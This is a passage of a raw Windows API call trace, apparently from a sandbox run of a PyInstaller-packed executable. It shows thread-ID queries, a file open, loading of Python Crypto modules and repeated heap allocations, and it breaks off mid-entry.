GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.963] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.964] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.965] GetCurrentThreadId () returned 0x9b0 [0075.966] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x300 [0075.966] GetFileType (hFile=0x300) returned 0x1 [0075.966] GetFileType (hFile=0x300) returned 0x1 [0075.966] GetFileInformationByHandle (in: hFile=0x300, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0075.966] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.966] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.966] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.966] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.966] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0075.966] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0075.967] CloseHandle (hObject=0x300) returned 1 [0075.967] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", nBufferLength=0x208, lpBuffer=0x9ba018, lpFilePart=0x9ba014 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\_file_system.pyc", lpFilePart=0x9ba014*="_file_system.pyc") returned 0x48 [0075.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263018 | out: hHeap=0x2ad0000) returned 1 [0075.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0075.967] GetLastError () returned 0x0 [0075.967] GetLastError () returned 0x0 [0075.967] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0075.967] GetCurrentThreadId () returned 0x9b0 [0075.968] GetLastError () returned 0x0 [0075.968] GetLastError () returned 0x0 [0075.968] GetLastError () returned 0x0 [0075.968] GetLastError () returned 0x0 [0075.968] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84aa0 | out: hHeap=0x2ad0000) returned 1 [0075.968] LoadLibraryA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\Crypto\\Util\\..\\Cipher\\_raw_cfb.pyd") [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x334e720 [0075.973] GetCurrentThreadId () returned 0x9b0 [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x2cdce80 [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de858 [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cb0 [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c98 [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de758 [0075.973] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0075.973] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33de758, Size=0x14) returned 0x3183c00 [0075.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de778 | out: hHeap=0x2ad0000) returned 1 [0075.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c98 | out: hHeap=0x2ad0000) returned 1 [0075.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cb0 | out: hHeap=0x2ad0000) returned 1 [0075.973] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de858 | out: hHeap=0x2ad0000) returned 1 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183c00 | out: hHeap=0x2ad0000) returned 1 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34af8c0 | out: hHeap=0x2ad0000) returned 1 [0075.974] GetCurrentThreadId () returned 0x9b0 [0075.974] GetLastError () returned 0x0 [0075.974] GetCurrentThreadId () returned 0x9b0 [0075.974] GetLastError () returned 0x0 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x231) returned 0x3410200 [0075.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x328) returned 0x2bab928 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a58 | out: hHeap=0x2ad0000) returned 1 [0075.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3410200 [0075.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410570 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410570 | out: hHeap=0x2ad0000) returned 1 [0075.974] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.974] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ba8 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ba8 | out: hHeap=0x2ad0000) returned 1 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cb0 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cb0 | out: hHeap=0x2ad0000) returned 1 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b00 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b00 | out: hHeap=0x2ad0000) returned 1 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a88 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a88 | out: hHeap=0x2ad0000) returned 1 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.975] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.975] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84c98 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c98 | out: hHeap=0x2ad0000) returned 1 [0075.976] GetCurrentThreadId () returned 0x9b0 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84a88 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a88 | out: hHeap=0x2ad0000) returned 1 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x368) returned 0x3410200 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.976] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3262ec8, Size=0x1) returned 0x33de738 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84b18 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b18 | out: hHeap=0x2ad0000) returned 1 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.976] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84bd8 [0075.976] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bd8 | out: hHeap=0x2ad0000) returned 1 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2cc74f0 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ae8 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.977] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ae8, Size=0x20) returned 0x3028238 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.977] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.977] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028238, Size=0x40) returned 0x2a18c20 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.978] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.978] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18c20, Size=0x64) returned 0x2a19b98 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.979] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.979] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19b98, Size=0x8c) returned 0x2ac0e68 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.980] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.980] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0e68, Size=0xb8) returned 0x325fd70 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.981] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.981] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325fd70, Size=0xe8) returned 0x33d1380 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.982] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.982] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.983] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1380, Size=0x120) returned 0x2c375e8 [0075.983] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.983] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3410200 [0075.984] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0075.984] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) 